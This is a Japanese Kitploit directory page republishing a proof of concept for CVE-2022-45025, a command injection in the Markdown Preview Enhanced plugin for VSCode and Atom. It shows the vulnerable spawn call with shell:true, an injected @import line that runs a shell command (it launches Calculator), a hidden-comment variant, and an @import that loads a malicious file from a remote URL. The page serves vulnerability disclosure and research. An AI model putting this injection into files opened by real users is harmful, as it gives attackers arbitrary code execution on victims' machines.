Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-45025 — [PoC] Markdown Preview Enhanced (VSCode, Atom) の PDF インポートを介したコマンドインジェクション | Kitploit
ツール/GitHubGitHub/yuriisanin/cve-2022-45025
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール
GitHubyuriisanin/cve-2022-45025

CVE-2022-45025

[PoC] Markdown Preview Enhanced (VSCode, Atom) の PDF インポートを介したコマンドインジェクション

リポジトリを見る
88173年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-45025

Markdown Preview Enhanced(VSCode、Atom)のPDFインポートにおけるコマンドインジェクション

説明

Mume マークダウンツールライブラリは、{shell: true} オプションを指定した spawn コマンドを使用していたため、コマンドインジェクションに対して脆弱でした。これにより、攻撃者は被害者を騙して特別に細工されたMarkdownファイルをVSCodeまたはAtomで開かせることで、任意のコード実行を達成できる可能性があります。このライブラリは、VSCode と Atom の両方でMarkdown Preview Enhancedプラグインを支えています。

脆弱なコードスニペット:

root@kitploit:~
const task = spawn(
      "pdf2svg",
      [
        `"${pdfFilePath}"`,
        `"${path.resolve(svgDirectoryPath, svgFilePrefix + "%d.svg")}"`,
        "all",
      ],
      { shell: true },
    )

実証コード(PoC)

次のMarkdown文書により、攻撃者は任意のコマンドを実行できます:

root@kitploit:~
@import "$(open -a Calculator > /dev/null | exit 0)hello.pdf"

次のコメントは、MPEによって有効な "@import" コマンドとして認識されます:

<!-- @import "$(open -a Calculator > /dev/null | exit 0)hello.pdf" -->

あるいは、ペイロードを外部ソースから実行することもできます:

root@kitploit:~
<!-- @import "https://raw.githubusercontent.com/yuriisanin/CVE-2022-45025/main/examples/malicious.md" -->

VSCode と Atom の両方のデモをYouTubeで公開しています。

vscode-rce-poc-gif

サポート

Twitter、GitHub、YouTube でフォローしていただけます。

ツールをダウンロード